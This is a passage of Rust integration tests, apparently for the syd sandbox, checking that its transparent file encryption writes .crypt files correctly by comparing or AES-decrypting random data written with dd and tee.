let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_single_aes_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(64):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_aes_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_nano_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(64):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_single_cmp_rand_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_aes_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_aes_huge_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_single_aes_rand_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
# Generate random size between 1 and 128 (inclusive).
random_size=$((RANDOM % 128 + 1))
# Generate random count between 1 and 128 (adjust for desired max size)
# This ensures total size (count * block_size) won't exceed 8MB.
max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
random_count=$((RANDOM % max_count + 1))
# Read from /dev/random with random size and count
dd if=/dev/random bs=$random_size count=$random_count status=none
}
dd_rand | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
